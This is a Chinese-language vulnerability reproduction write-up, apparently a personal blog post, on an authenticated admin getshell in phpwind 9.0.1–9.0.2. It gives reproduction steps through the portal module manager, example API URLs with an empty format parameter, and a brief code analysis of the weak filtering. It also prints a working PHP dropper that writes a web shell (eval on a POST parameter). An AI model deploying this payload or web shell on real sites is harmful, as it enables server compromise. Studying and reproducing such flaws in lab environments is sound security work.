漏洞复现:phpwind v 9.0.2后台getshell
一、概述
已知影响版本:v9.0.1,v9.0.2
复现版本:9.0.2
搭建环境:phpstudy2018
审计工具:Seay源代码审计系统
二、复现步骤:
1.将源码放置网站根目录(C:\phpStudy\PHPTutorial\WWW)。如下操作,刷新首页,或修改删除目录下.htaccess文件可解决首页访问限制情况:
2.打开install.php页面安装好phpwind后登陆后台。选择门户–>模块管理–>调用管理–>添加模块,新增模块–>选择自定义html–>下一步–>提交代码,模块管理–>调用管理–>调用代码。
3.复制任意站外调用代码url,例json,代码没有过滤:
http://192.168.0.123/phpwind9.0.2/index.php?m=design&c=api&token=qvIQqG3WL2&id=5&format=json
4.去掉url中format参数值,代码被执行:
http://192.168.0.123/phpwind9.0.2/index.php?m=design&c=api&token=qvIQqG3WL2&id=5&format=
getshell代码:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['pp']);?>");?>
菜鸟试着代码审计,原理后续。
三、代码浅析
漏洞代码入口:\src\applications\design\controller\ApiController.php
run():
getInput('format', 'get');
获取get参数
!$out && $out = 'script';
$method = $out.'Format';
return $this->$method($moduleId);
若format参数为空、0、false(这里false不行,不是bool类型),则执行scriptFormat()
scriptForm():
根据moduleId获取整个module对象——PwDesignModuleDao;
处理我们提交的代码内容(即phpinfo;)的关键代码见
\src\service\design\srv\PwDesignCompile.php
$html = preg_replace("/\r\n|\n|\r/", '', $html);
$html = preg_replace("/οnerrοr=\"(.+)\"/", '', $html);
$html = "document.write('".$html."');";
只过滤了\n、\r、οnerrοr=""
小菜鸡还有很多代码没看懂,请大神们指教。弄懂补后续。
参考文章:
phpwind v9存在命令执行漏洞(登陆后台)